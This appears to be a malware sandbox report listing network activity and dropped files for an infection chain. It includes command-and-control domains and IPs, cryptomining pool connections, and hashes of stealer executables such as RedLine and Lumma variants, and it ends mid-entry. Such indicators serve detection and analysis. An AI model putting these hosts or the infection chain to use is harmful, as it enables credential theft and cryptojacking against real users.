US 8.8.8.8:53 miniaturefinerninewjs.shop udp
US 104.21.30.191:443 miniaturefinerninewjs.shop tcp
US 8.8.8.8:53 67.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 5.192.67.172.in-addr.arpa udp
US 8.8.8.8:53 191.30.21.104.in-addr.arpa udp
US 8.8.8.8:53 plaintediousidowsko.shop udp
US 104.21.53.146:443 plaintediousidowsko.shop tcp
US 8.8.8.8:53 sweetsquarediaslw.shop udp
US 104.21.44.201:443 sweetsquarediaslw.shop tcp
US 8.8.8.8:53 146.53.21.104.in-addr.arpa udp
US 8.8.8.8:53 201.44.21.104.in-addr.arpa udp
US 8.8.8.8:53 holicisticscrarws.shop udp
US 104.21.40.92:443 holicisticscrarws.shop tcp
US 8.8.8.8:53 boredimperissvieos.shop udp
RU 5.42.65.67:48396 tcp
US 104.21.72.135:443 boredimperissvieos.shop tcp
US 8.8.8.8:53 92.40.21.104.in-addr.arpa udp
US 8.8.8.8:53 67.65.42.5.in-addr.arpa udp
US 8.8.8.8:53 135.72.21.104.in-addr.arpa udp
DE 49.13.229.86:80 49.13.229.86 tcp
US 8.8.8.8:53 86.229.13.49.in-addr.arpa udp
RU 5.42.96.78:80 5.42.96.78 tcp
US 8.8.8.8:53 78.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 smallelementyjdui.shop udp
US 104.21.15.116:443 smallelementyjdui.shop tcp
US 8.8.8.8:53 sofaprivateawarderysj.shop udp
US 104.21.95.16:443 sofaprivateawarderysj.shop tcp
US 8.8.8.8:53 lineagelasserytailsd.shop udp
US 104.21.62.251:443 lineagelasserytailsd.shop tcp
US 8.8.8.8:53 116.15.21.104.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 16.95.21.104.in-addr.arpa udp
US 8.8.8.8:53 251.62.21.104.in-addr.arpa udp
US 8.8.8.8:53 tendencyportionjsuk.shop udp
US 104.21.85.127:443 tendencyportionjsuk.shop tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 127.85.21.104.in-addr.arpa udp
US 8.8.8.8:53 headraisepresidensu.shop udp
US 104.21.50.137:443 headraisepresidensu.shop tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 appetitesallooonsj.shop udp
US 172.67.151.60:443 appetitesallooonsj.shop tcp
US 8.8.8.8:53 137.50.21.104.in-addr.arpa udp
US 8.8.8.8:53 60.151.67.172.in-addr.arpa udp
US 8.8.8.8:53 minorittyeffeoos.shop udp
US 188.114.97.2:443 minorittyeffeoos.shop tcp
US 8.8.8.8:53 prideconstituiiosjk.shop udp
US 104.21.92.157:443 prideconstituiiosjk.shop tcp
US 8.8.8.8:53 2.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 157.92.21.104.in-addr.arpa udp
RU 77.221.151.47:9090 tcp
US 8.8.8.8:53 xmr.2miners.com udp
DE 162.19.139.184:2222 xmr.2miners.com tcp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 184.139.19.162.in-addr.arpa udp
US 8.8.8.8:53 yip.su udp
US 8.8.8.8:53 pastebin.com udp
US 172.67.169.89:443 yip.su tcp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 onlycitylink.com udp
RU 5.42.96.64:80 5.42.96.64 tcp
US 104.21.18.166:443 onlycitylink.com tcp
RU 5.42.96.78:80 5.42.96.78 tcp
US 8.8.8.8:53 realdeepai.org udp
US 8.8.8.8:53 1xst.ru udp
US 104.21.18.166:443 onlycitylink.com tcp
RU 5.42.96.78:80 5.42.96.78 tcp
US 8.8.8.8:53 free.360totalsecurity.com udp
US 8.8.8.8:53 firstfirecar.com udp
US 172.67.193.79:443 realdeepai.org tcp
US 172.67.193.79:443 realdeepai.org tcp
US 104.21.60.76:443 firstfirecar.com tcp
US 104.21.60.76:443 firstfirecar.com tcp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 19.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 89.169.67.172.in-addr.arpa udp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 166.18.21.104.in-addr.arpa udp
US 8.8.8.8:53 64.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 79.193.67.172.in-addr.arpa udp
US 8.8.8.8:53 76.60.21.104.in-addr.arpa udp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 jonathantwo.com udp
US 104.21.31.124:443 jonathantwo.com tcp
US 104.21.31.124:443 jonathantwo.com tcp
NL 151.236.127.172:443 free.360totalsecurity.com tcp
US 8.8.8.8:53 parrotflight.com udp
US 188.114.96.2:443 parrotflight.com tcp
MX 187.156.26.21:80 1xst.ru tcp
MX 187.156.26.21:80 1xst.ru tcp
US 8.8.8.8:53 124.31.21.104.in-addr.arpa udp
US 8.8.8.8:53 172.127.236.151.in-addr.arpa udp
US 8.8.8.8:53 2.96.114.188.in-addr.arpa udp
US 8.8.8.8:53 21.26.156.187.in-addr.arpa udp
US 8.8.8.8:53 67.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 st.p.360safe.com udp
US 8.8.8.8:53 junglethomas.com udp
US 8.8.8.8:53 iup.360safe.com udp
US 172.67.197.33:443 junglethomas.com tcp
US 8.8.8.8:53 s.360safe.com udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 tr.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
IE 54.76.174.118:80 tr.p.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
US 8.8.8.8:53 33.197.67.172.in-addr.arpa udp
US 8.8.8.8:53 29.42.77.54.in-addr.arpa udp
US 8.8.8.8:53 118.174.76.54.in-addr.arpa udp
US 8.8.8.8:53 141.179.29.52.in-addr.arpa udp
US 8.8.8.8:53 int.down.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
ES 54.192.95.83:80 int.down.360safe.com tcp
ES 54.192.95.124:80 int.down.360safe.com tcp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.83:80 int.down.360safe.com tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 sd.p.360safe.com udp
ES 18.154.56.104:80 sd.p.360safe.com tcp
US 8.8.8.8:53 83.95.192.54.in-addr.arpa udp
US 8.8.8.8:53 124.95.192.54.in-addr.arpa udp
US 8.8.8.8:53 26.95.192.54.in-addr.arpa udp
US 8.8.8.8:53 74.95.192.54.in-addr.arpa udp
US 8.8.8.8:53 104.56.154.18.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 iplogger.com udp
US 172.67.188.178:443 iplogger.com tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 178.188.67.172.in-addr.arpa udp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.124:80 int.down.360safe.com tcp
RU 5.42.96.78:80 5.42.96.78 tcp
RU 77.221.151.47:8080 tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.124:80 int.down.360safe.com tcp
ES 54.192.95.83:80 int.down.360safe.com tcp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.124:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.83:80 int.down.360safe.com tcp
ES 54.192.95.26:80 int.down.360safe.com tcp
ES 54.192.95.74:80 int.down.360safe.com tcp
ES 54.192.95.124:80 int.down.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
GB 85.192.56.26:80 85.192.56.26 tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 api.myip.com udp
US 104.26.9.59:443 api.myip.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 26.56.192.85.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 59.9.26.104.in-addr.arpa udp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 orion.ts.360.com udp
NL 82.145.215.156:443 orion.ts.360.com tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 156.215.145.82.in-addr.arpa udp
US 8.8.8.8:53 ocsp.crlocsp.cn udp
CN 101.198.2.196:80 ocsp.crlocsp.cn tcp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
RU 77.221.151.47:8080 tcp
RU 77.221.151.47:9090 tcp
DE 162.19.139.184:2222 xmr.2miners.com tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
RU 77.221.151.47:9090 tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 xmr.2miners.com udp
DE 162.19.139.184:2222 xmr.2miners.com tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 crl.crlocsp.cn udp
CN 180.163.251.149:80 crl.crlocsp.cn tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 ocsp.crlocsp.cn udp
CN 101.198.2.196:80 ocsp.crlocsp.cn tcp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 beshomandotestbesnd.run.place udp
CN 171.8.167.65:80 crl.crlocsp.cn tcp
RU 77.221.151.47:8080 tcp
US 45.88.186.125:7000 beshomandotestbesnd.run.place tcp
US 8.8.8.8:53 125.186.88.45.in-addr.arpa udp
RU 77.221.151.47:8080 tcp
RU 77.221.151.47:8080 tcp
US 45.88.186.125:7000 beshomandotestbesnd.run.place tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
RU 77.221.151.47:8080 tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
RU 77.221.151.47:9090 tcp
RU 77.221.151.47:8080 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp

Files

memory/324-0-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-1-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-3-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-2-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-7-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-8-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-6-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-5-0x0000000000F00000-0x0000000001452000-memory.dmp

memory/324-4-0x0000000000F00000-0x0000000001452000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 d5be6b852722db508fdb29104d5aa037
SHA1 89e8ea27ef760ee059731380397446c1cf03c55d
SHA256 71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94
SHA512 ba62ca856fb72f3a68edc50bbb8e8ab914d6f9526d5d84a92ff0f25aa57e149e742e881bf7a967f3a40b445725fffd6d1f6f141f94fe9f271fb04103761b516b

memory/2096-22-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-23-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-25-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-30-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-29-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-27-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-26-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-28-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/2096-24-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/324-21-0x0000000000F00000-0x0000000001452000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe

MD5 a522a3d64b6e57e8cf9c5e390d7db83a
SHA1 07f4c37b9b0a0e331b5d7088549caed05eb5794b
SHA256 f10c4a499b5f7e8d26ff0397ceaf94ea3d3ba43617087ea68b2cb43b99da0f30
SHA512 14a6d5c64c11ddb2d4be7df2d11c082f265b7492d76270282a60592118701c520a625aa4fb3be4676325aed1b126f7f3a1975e885adbdebf12ff3c499676e398

memory/3316-48-0x0000000000430000-0x00000000008CD000-memory.dmp

memory/3316-49-0x00000000774D4000-0x00000000774D6000-memory.dmp

memory/3316-62-0x0000000000430000-0x00000000008CD000-memory.dmp

memory/2096-63-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/1904-64-0x0000000000EC0000-0x000000000135D000-memory.dmp

C:\Users\Admin\1000006002\e95da54c34.exe

MD5 ea46597fd930b2febc255656c123cce6
SHA1 e8247e4502dcbab1678ad1062357c7a3183e5a04
SHA256 b3010f5232a4d132e18d49b08c9ab0961abfd0680806cbff7cfd5598838c0ff0
SHA512 6af55ca85337d1e2e59bd020126179ae72eca7a41e4c2b5199ba0aea281d98307b014da31c49d6f152cbb3e0af785918ca0cf404aad3ab40fec6c6bf104350d3

memory/4764-83-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-85-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-84-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-86-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-87-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-88-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-90-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-89-0x0000000000010000-0x0000000000682000-memory.dmp

memory/4764-91-0x0000000000010000-0x0000000000682000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe

MD5 31841361be1f3dc6c2ce7756b490bf0f
SHA1 ff2506641a401ac999f5870769f50b7326f7e4eb
SHA256 222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee
SHA512 53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

memory/1192-107-0x0000000000400000-0x0000000000592000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe

MD5 7f981db325bfed412599b12604bd00ab
SHA1 9f8a8fd9df3af3a4111e429b639174229c0c10cd
SHA256 043839a678bed1b10be00842eae413f5ecd1cad7a0eaa384dd80bc1dcd31e69b
SHA512 a5be61416bc60669523e15213098a6d3bb5a2393612b57863fedfa1ff974bc110e0b7e8aadc97d0c9830a80798518616f9edfb65ae22334a362a743b6af3a82d

C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe

MD5 20ae0bb07ba77cb3748aa63b6eb51afb
SHA1 87c468dc8f3d90a63833d36e4c900fa88d505c6d
SHA256 daf6ae706fc78595f0d386817a0f8a3a7eb4ec8613219382b1cbaa7089418e7d
SHA512 db315e00ce2b2d5a05cb69541ee45aade4332e424c4955a79d2b7261ab7bd739f02dc688224f031a7a030c92fa915d029538e236dbd3c28b8d07d1265a52e5b2

C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe

MD5 0c582da789c91878ab2f1b12d7461496
SHA1 238bd2408f484dd13113889792d6e46d6b41c5ba
SHA256 a6ab532816fbb0c9664c708746db35287aaa85cbb417bef2eafcd9f5eaf7cf67
SHA512 a1b7c5c13462a7704ea2aea5025d1cb16ddd622fe1e2de3bbe08337c271a4dc8b9be2eae58a4896a7df3ad44823675384dbc60bdc737c54b173909be7a0a086a

memory/4036-143-0x0000000000BF0000-0x0000000000C42000-memory.dmp

memory/4036-144-0x0000000005A40000-0x0000000005FE4000-memory.dmp

memory/4036-145-0x0000000005530000-0x00000000055C2000-memory.dmp

memory/4036-149-0x00000000056C0000-0x00000000056CA000-memory.dmp

memory/2908-147-0x0000000000CE0000-0x0000000000DA0000-memory.dmp

memory/1704-150-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4036-170-0x0000000006170000-0x00000000061E6000-memory.dmp

memory/4824-160-0x0000000000400000-0x0000000000458000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TmpA9AD.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

memory/1704-155-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4824-154-0x0000000000400000-0x0000000000458000-memory.dmp

memory/4036-171-0x0000000006A90000-0x0000000006AAE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe

MD5 9faf597de46ed64912a01491fe550d33
SHA1 49203277926355afd49393782ae4e01802ad48af
SHA256 0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715
SHA512 ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e

memory/4036-182-0x00000000071D0000-0x00000000077E8000-memory.dmp

memory/4036-191-0x0000000006C60000-0x0000000006C72000-memory.dmp

memory/4036-195-0x0000000006CC0000-0x0000000006CFC000-memory.dmp

memory/4036-190-0x0000000006D20000-0x0000000006E2A000-memory.dmp

memory/4036-196-0x0000000006E30000-0x0000000006E7C000-memory.dmp

memory/952-197-0x00000000004F0000-0x0000000000542000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3571316656-3665257725-2415531812-1000\76b53b3ec448f7ccdda2063b15d2bfc3_a47c70d8-7adc-4ad7-994f-644a8c84c176

MD5 5ab8a77e2c8b2a682b1a679bcb372730
SHA1 e618dc219cd9123dfca97fff938e476cdac2d1c2
SHA256 8f69c66e311217405f34f3a2beab7a0bdd9e79acbbb9d87c680ef503c6d90b75
SHA512 a2dacb28154ff86c68ac03a32b7b28801a23de41ac550ca360b91cf04b89ec8f54543da5e28852d55b54771eae9bd793f455b16809992b25a6beae7d080cd2fe

C:\Users\Public\Desktop\Google Chrome.lnk

MD5 f3f078b0f566a700affc1b0f292cd33d
SHA1 71b3d72dc3ccda546f8da0a302351fd38ebd229e
SHA256 dfd8aeea1c0764ccad8047740c3edf3393346d98ee0c11ec1210df1080aea90f
SHA512 ca8dad40a98294f9c8189390e818c25c153d34426a6ed0bd737ed8fddc1e8d262f019737a335dfa61b74bfe7485f75fcab8087be781279eadfcf80d3389bb747

C:\Users\Admin\Desktop\Microsoft Edge.lnk

MD5 932a4cffba501676404d2c58c38ffec9
SHA1 7c6e0b0ea29caabbddb4568653d6252fdf7d6020
SHA256 e2c0717650ffd4cec0bdaffcd2d365293cfe4ec34d129ed306f32f747341a426
SHA512 77e4abc22158f0d543ff011a679917993710007a135a373c57598b1cf75988cc38cc89ff06781f35104a7357760445bb4884ff994e2c611def352a9a92c41034

memory/2096-219-0x0000000000530000-0x0000000000A82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe

MD5 0f52e5e68fe33694d488bfe7a1a71529
SHA1 11d7005bd72cb3fd46f24917bf3fc5f3203f361f
SHA256 efd29c35766c607aa15d1cb83dec625739791b1616ad37d5b47e78cdb8a42ca8
SHA512 238fbb1c04eef2f2005cb7abf0223e3cd062d9d2840966292e19dcaa495609e134a0bdc35389ae9925ecfc787a13772d3ac7b29058579f702bc849dd0343c400

memory/4848-254-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-246-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-253-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-260-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-257-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-256-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/4848-255-0x0000000000530000-0x0000000000A82000-memory.dmp

memory/1676-252-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/4764-251-0x0000000000010000-0x0000000000682000-memory.dmp

memory/1904-250-0x0000000000EC0000-0x000000000135D000-memory.dmp

memory/2908-267-0x000000001EB10000-0x000000001EC1A000-memory.dmp

memory/2908-269-0x000000001C640000-0x000000001C67C000-memory.dmp

memory/2908-268-0x000000001C5E0000-0x000000001C5F2000-memory.dmp

C:\Program Files (x86)\GameSyncLink\GameService.exe

MD5 d9ec6f3a3b2ac7cd5eef07bd86e3efbc
SHA1 e1908caab6f938404af85a7df0f80f877a4d9ee6
SHA256 472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
SHA512 1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe

MD5 808c0214e53b576530ee5b4592793bb0
SHA1 3fb03784f5dab1e99d5453664bd3169eff495c97
SHA256 434b1a9bd966d204eef1f4cddb7b73a91ebc5aaf4ac9b4ddd999c6444d92eb61
SHA512 2db3b4cb0233230e7c21cd820bde5de00286fbaedd3fe4dcefb6c66fe6867431f0ee1753fc18dcb89b2a18e888bd15d4d2de29b1d5cd93e425e3fcfe508c79c0

C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe

MD5 e6943a08bb91fc3086394c7314be367d
SHA1 451d2e171f906fa6c43f8b901cd41b0283d1fa40
SHA256 aafdcfe5386452f4924cfcc23f2cf7eccf3f868947ad7291a77b2eca2af0c873
SHA512 505d3c76988882602f06398e747c4e496ecad9df1b7959069b87c8111c4d9118484f4d6baef5f671466a184c8caec362d635da210fa0987ccb746cbeea218d2a

memory/4848-294-0x0000000000530000-0x0000000000A82000-memory.dmp

C:\Windows\Temp\225297.exe

MD5 5c9e996ee95437c15b8d312932e72529
SHA1 eb174c76a8759f4b85765fa24d751846f4a2d2ef
SHA256 0eecdbfabaaef36f497e944a6ceb468d01824f3ae6457b4ae4b3ac8e95eebb55
SHA512 935102aad64da7eeb3e4b172488b3a0395298d480f885ecedc5d8325f0a9eabeea8ba1ece512753ac170a03016c80ba4990786ab608b4de0b11e6343fbf2192b

memory/1676-295-0x0000000000EC0000-0x000000000135D000-memory.dmp

C:\Windows\Temp\cudart64_101.dll

MD5 1d7955354884a9058e89bb8ea34415c9
SHA1 62c046984afd51877ecadad1eca209fda74c8cb1
SHA256 111f216aef35f45086888c3f0a30bb9ab48e2b333daeddafd3a76be037a22a6e
SHA512 7eb8739841c476cda3cf4c8220998bc8c435c04a89c4bbef27b8f3b904762dede224552b4204d35935562aa73f258c4e0ddb69d065f732cb06cc357796cdd1b2

C:\Program Files (x86)\GameSyncLink\installg.bat

MD5 5dee3cbf941c5dbe36b54690b2a3c240
SHA1 82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1
SHA256 98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb
SHA512 9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

memory/4036-307-0x0000000006F70000-0x0000000006FD6000-memory.dmp

memory/1104-312-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4880-313-0x0000000000400000-0x000000000063B000-memory.dmp

memory/2908-314-0x000000001EC20000-0x000000001EC96000-memory.dmp

memory/2908-315-0x000000001BD90000-0x000000001BDAE000-memory.dmp

memory/4880-311-0x0000000000400000-0x000000000063B000-memory.dmp

memory/2908-320-0x000000001FB70000-0x0000000020098000-memory.dmp

memory/2908-319-0x000000001F470000-0x000000001F632000-memory.dmp

memory/4036-318-0x0000000007170000-0x00000000071C0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe

MD5 56e7d98642cfc9ec438b59022c2d58d7
SHA1 26526f702e584d8c8b629b2db5d282c2125665d7
SHA256 a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383
SHA512 0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f

memory/4036-338-0x0000000007AC0000-0x0000000007C82000-memory.dmp

memory/4036-339-0x00000000083C0000-0x00000000088EC000-memory.dmp

memory/4880-341-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\Program Files (x86)\GameSyncLink\installc.bat

MD5 998ab24316795f67c26aca0f1b38c8ce
SHA1 a2a6dc94e08c086fe27f8c08cb8178e7a64f200d
SHA256 a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e
SHA512 7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

memory/1484-377-0x0000000000400000-0x0000000000458000-memory.dmp

memory/4836-376-0x0000000000700000-0x0000000000701000-memory.dmp

memory/1484-375-0x0000000000400000-0x0000000000458000-memory.dmp

C:\Users\Admin\Desktop\Microsoft Edge.lnk

MD5 b90a8f6b81c65bafea1749d703d865db
SHA1 f22924fae68a6422ba1129c1b23443cb373cdd60
SHA256 8d24758b653a2574cbe79f71428e14e998b5ec82b6daceb9ffb4c7a55843a5e1
SHA512 a65734e5781cca9870e04643f0ca068a32a3f6803be4ee563929e165d133a411ace9fe1b8364789e539278d6b20923be86cd08e3246f4fd58f84c406e40e35bb

C:\Users\Public\Desktop\Google Chrome.lnk

MD5 361ccc499a5ab1e6a3f848ae4db0247e
SHA1 8e5d5428d2d79730a41b4b532a80ad63d2ae5ecc
SHA256 2911bc8321bc63b89d8b83a808e6a8501cc57339d450b78d75bc1c78b1d52e9f
SHA512 5b13cb4a03942f636385f877e1906b82286d1a75516d0daff9bf9e4c73391aade88997ac86d6c4c32f46ab1e247b434b0db2cc92c071a6222bdeeb3c28e9d580

C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe

MD5 72b396a9053dff4d804e07ee1597d5e3
SHA1 5ec4fefa66771613433c17c11545c6161e1552d5
SHA256 d0b206f0f47a9f8593b6434dc27dadde8480a902e878882fa8c73fc7fe01b11d
SHA512 ad96c9ca2feae7af7fcf01a843d5aa6cbdde0520d68dedff44554a17639c6c66b2301d73daf272708cb76c22eae2d5c89db23af45105c4f0e35f4787f98e192b

C:\ProgramData\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\ProgramData\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\Program Files (x86)\GameSyncLink\installm.bat

MD5 94b87b86dc338b8f0c4e5869496a8a35
SHA1 2584e6496d048068f61ac72f5c08b54ad08627c3
SHA256 2928d8e9a41f39d3802cfd2900d8edeb107666baa942d9c0ffbfd0234b5e5bfc
SHA512 b67eb73fe51d4dba990789f1e0123e902dac6d26569851c3d51ca0a575221ce317f973999d962669016017d8f81a01f11bd977609e66bb1b244334bce2db5d5d

C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe

MD5 1bacbebf6b237c75dbe5610d2d9e1812
SHA1 3ca5768a9cf04a2c8e157d91d4a1b118668f5cf1
SHA256 c3747b167c70fd52b16fb93a4f815e7a4ee27cf67d2c7d55ea9d1edc7969c67d
SHA512 f6438eced6915890d5d15d853c3ad6856de949b7354dcea97b1cf40d0c8aed767c8e45730e64ab0368f3606da5e95fd1d4db9cc21e613d517f37ddebbd0fa1fe

C:\Windows\Temp\7982.exe

MD5 5cdb390aaba8caad929f5891f86cf8d7
SHA1 324a43fa56dffe541c0414f253faf2bf34ad9fa4
